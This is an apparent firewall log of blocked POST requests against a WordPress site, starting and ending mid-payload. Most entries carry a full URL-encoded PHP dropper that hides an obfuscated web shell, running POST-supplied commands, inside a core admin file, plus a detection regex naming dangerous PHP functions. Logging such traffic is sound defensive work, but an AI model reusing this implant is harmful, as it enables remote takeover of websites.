0%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%25273%2527%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%2524ptr8%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr1%2520.%2520%25275%2527%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2524ptr12%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25275%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2527f%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr12%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%25277%2527%2520.%2520%2524ptr3%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524token_parser_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr13%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr14%2520.%2520%2524ptr1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%25279%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524ptr7%2529%253Bif%2528isset%2528%2524_POST%255B%2524token_parser_engine%255D%2529%2529%257B%2524token_parser_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524token_parser_engine%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524token_parser_engine%252C%2524descriptor_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524descriptor_record%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524sym_obj%253D%2524service_registry5%2528%2524token_parser_engine%252C%2522r%2522%2529%253Bif%2528%2524sym_obj%2529%257B%2524dat_property_set%253D%2524service_registry6%2528%2524sym_obj%2529%253B%2524service_registry7%2528%2524sym_obj%2529%253Bprint%2520%2524dat_property_set%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:47:39","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> LQ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-community-events.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ptr1%2520%253D%2520%25277%2527%253B%2524ptr2%2520%253D%2520%25279%2527%253B%2524ptr3%2520%253D%2520%25273%2527%253B%2524ptr4%2520%253D%2520%25274%2527%253B%2524ptr5%2520%253D%2520%25276%2527%253B%2524ptr6%2520%253D%2520%2527c%2527%253B%2524ptr7%2520%253D%2520%25275%2527%253B%2524ptr8%2520%253D%2520%25278%2527%253B%2524ptr9%2520%253D%2520%25272%2527%253B%2524ptr10%2520%253D%2520%2527f%2527%253B%2524ptr11%2520%253D%2520%25270%2527%253B%2524ptr12%2520%253D%2520%2527e%2527%253B%2524ptr13%2520%253D%2520%2527b%2527%253B%2524ptr14%2520%253D%2520%25271%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr2%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%2524ptr5%2520.%2520%2524ptr6%2520.%2520%2524ptr7%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%25273%2527%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%2524ptr8%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr1%2520.%2520%25275%2527%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2524ptr12%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25275%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2527f%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr12%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%25277%2527%2520.%2520%2524ptr3%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524token_parser_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr13%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr14%2520.%2520%2524ptr1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%25279%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524ptr7%2529%253Bif%2528isset%2528%2524_POST%255B%2524token_parser_engine%255D%2529%2529%257B%2524token_parser_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524token_parser_engine%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524token_parser_engine%252C%2524descriptor_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524descriptor_record%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524sym_obj%253D%2524service_registry5%2528%2524token_parser_engine%252C%2522r%2522%2529%253Bif%2528%2524sym_obj%2529%257B%2524dat_property_set%253D%2524service_registry6%2528%2524sym_obj%2529%253B%2524service_registry7%2528%2524sym_obj%2529%253Bprint%2520%2524dat_property_set%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\ncontent-length:9363\nsec-ch-ua-mobile:?0\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGSRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nLQ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-community-events.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ptr1%2520%253D%2520%25277%2527%253B%2524ptr2%2520%253D%2520%25279%2527%253B%2524ptr3%2520%253D%2520%25273%2527%253B%2524ptr4%2520%253D%2520%25274%2527%253B%2524ptr5%2520%253D%2520%25276%2527%253B%2524ptr6%2520%253D%2520%2527c%2527%253B%2524ptr7%2520%253D%2520%25275%2527%253B%2524ptr8%2520%253D%2520%25278%2527%253B%2524ptr9%2520%253D%2520%25272%2527%253B%2524ptr10%2520%253D%2520%2527f%2527%253B%2524ptr11%2520%253D%2520%25270%2527%253B%2524ptr12%2520%253D%2520%2527e%2527%253B%2524ptr13%2520%253D%2520%2527b%2527%253B%2524ptr14%2520%253D%2520%25271%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr2%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%2524ptr5%2520.%2520%2524ptr6%2520.%2520%2524ptr7%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%25273%2527%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%2524ptr8%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr1%2520.%2520%25275%2527%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2524ptr12%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25275%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2527f%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr12%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%25277%2527%2520.%2520%2524ptr3%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524token_parser_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr13%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr14%2520.%2520%2524ptr1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%25279%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524ptr7%2529%253Bif%2528isset%2528%2524_POST%255B%2524token_parser_engine%255D%2529%2529%257B%2524token_parser_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524token_parser_engine%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524token_parser_engine%252C%2524descriptor_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524descriptor_record%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524sym_obj%253D%2524service_registry5%2528%2524token_parser_engine%252C%2522r%2522%2529%253Bif%2528%2524sym_obj%2529%257B%2524dat_property_set%253D%2524service_registry6%2528%2524sym_obj%2529%253B%2524service_registry7%2528%2524sym_obj%2529%253Bprint%2520%2524dat_property_set%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:47:42","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-community-events.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ptr1%2520%253D%2520%25277%2527%253B%2524ptr2%2520%253D%2520%25279%2527%253B%2524ptr3%2520%253D%2520%25273%2527%253B%2524ptr4%2520%253D%2520%25274%2527%253B%2524ptr5%2520%253D%2520%25276%2527%253B%2524ptr6%2520%253D%2520%2527c%2527%253B%2524ptr7%2520%253D%2520%25275%2527%253B%2524ptr8%2520%253D%2520%25278%2527%253B%2524ptr9%2520%253D%2520%25272%2527%253B%2524ptr10%2520%253D%2520%2527f%2527%253B%2524ptr11%2520%253D%2520%25270%2527%253B%2524ptr12%2520%253D%2520%2527e%2527%253B%2524ptr13%2520%253D%2520%2527b%2527%253B%2524ptr14%2520%253D%2520%25271%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr2%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%2524ptr5%2520.%2520%2524ptr6%2520.%2520%2524ptr7%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%25273%2527%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%2524ptr8%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr1%2520.%2520%25275%2527%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2524ptr12%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25275%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2527f%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr12%2520.%2520%25277%2527%2520.%25